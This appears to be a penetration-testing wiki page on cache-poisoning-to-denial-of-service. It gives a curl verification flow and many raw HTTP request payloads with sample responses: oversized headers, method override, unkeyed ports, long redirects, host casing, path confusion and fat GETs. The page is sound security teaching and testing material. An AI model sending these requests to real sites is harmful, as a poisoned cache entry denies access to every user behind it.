Cache Poisoning to DoS

Caution

These techniques try to make the origin return an error, a blank body, or a broken redirect for a request that the cache still considers valid/cacheable. Once stored, the poisoned object can deny access to every user hitting the same cache key.

Tip

Confirm CPDoS with the lowest blast radius possible: send a baseline request, then the poisoning request, and finally a validation request without the malicious input. Compare status, body length, and cache headers such as X-Cache, CF-Cache-Status, Cache-Status, or Age. If possible, use a sacrificial endpoint or an unkeyed cache buster first.

If the issue depends on path confusion, static extensions/directories, or other URL parser discrepancies, first check Cache Poisoning via URL discrepancies.

Quick verification flow

url='https://target.tld/app.js'

# 1) Baseline
curl -isk "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)'

# 2) Poison attempt
curl -isk -H 'X-HTTP-Method-Override: HEAD' "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)'

# 3) Validation
curl -isk "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)'

Common cache poisoning-to-DoS primitives

HTTP Header Oversize (HHO)

Send a request with a header block that is accepted by the cache but rejected by the origin. If the resulting 4xx page is cached, later normal requests will get the cached error.

GET / HTTP/1.1
Host: redacted.com
X-Oversized-Header: Big-Value-00000000000000000000000000000000000000000000000000

This is especially interesting when the CDN/header limit is larger than the origin/framework limit.

HTTP Meta Character (HMC) & unexpected values

Send control/meta characters such as \0, \b, \r, or \n, or malformed values that the cache forwards but the origin refuses. Some origins also error on syntactically valid-but-unexpected values such as a bogus Content-Type.

GET / HTTP/1.1
Host: redacted.com
X-Metachar-Header: \0
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld

A badly configured parser may also fail on values such as \:.

Unkeyed header that triggers an error

Some backends return an error or denial page when they see specific headers, but the cache key doesn't vary on that header.

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
X-Cache: hit

Invalid Header

Also test Forwarded, X-Forwarded-Host, X-Forwarded-Port, and application-specific routing headers when they influence redirects or origin routing.

HTTP Method Override Attack (HMO)

If the application or middleware supports method override headers such as X-HTTP-Method-Override, X-HTTP-Method, or X-Method-Override, you may be able to transform a normal GET into an unsupported or body-less method at the origin while the cache still stores the response under the GET key.

GET /app.js HTTP/1.1
Host: redacted.com
X-HTTP-Method-Override: HEAD

HEAD, TRACE, PUT, DELETE, and POST are worth testing. HEAD is especially attractive because some stacks reply 200 OK with Content-Length: 0, effectively blanking the asset for everyone.

Unkeyed Port

If the port in the Host header is reflected in the response but excluded from the cache key, it may be possible to poison a redirect to an unused port:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
X-Cache: miss

Long Redirect DoS

If an unkeyed parameter is copied into a redirect target, you may be able to make the cache store a redirect that later resolves into 414 URI Too Large, 431 Request Header Fields Too Large, or another error on the follow-up request.

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
CF-Cache-Status: HIT

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: MISS

Host header case normalization

The Host header is case-insensitive, but some origins or routing layers still behave differently depending on casing. If the cache normalizes the host for the key while the origin uses the raw value, a mixed-case Host can poison the canonical cache bucket:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
X-Cache: miss

Not Found

Path normalization / static-rule confusion

Some caches normalize or classify the path differently from the origin. A path that looks cacheable to the front-end (/assets/..., .css, .js, dot-segments, encoded dots, delimiters) may map to a dynamic route on the origin that returns an error or blank response. If the static-looking key is cached, the dynamic endpoint becomes unavailable through that cache key.

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com

HTTP/1.1 404 Not Found
X-Cache: miss

Not Found

For delimiter/static-extension/static-directory tricks, see Cache Poisoning via URL discrepancies.

Fat GET

Some caches/origins reject GET with a body, or the origin reads parameters from the body while the cache keys only on the URL. This can poison an error or unexpected response under the clean GET cache key.

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz

HTTP/2 403 Forbidden
X-Cache: hit

Framework / internal cache poisoning

Recent framework bugs showed that CPDoS is not limited to classic 4xx/5xx cache poisoning at the CDN layer. Internal framework caches or upstream CDNs may also store:

  • a 204 No Content response for a normally populated static/ISR page
  • a 200 OK response with Content-Length: 0
  • a response that was supposed to stay private, no-store but is coerced into s-maxage / stale-while-revalidate

In practice, this means a single crafted request can blank an HTML page or JS asset without needing a traditional error page. When testing modern frameworks, compare the same endpoint with and without framework-specific cache/data headers and watch for changes in Cache-Control, body length, and shared-cache headers. If you are assessing a Next.js target, also check the Next.js page for framework-specific cache poisoning bugs.

References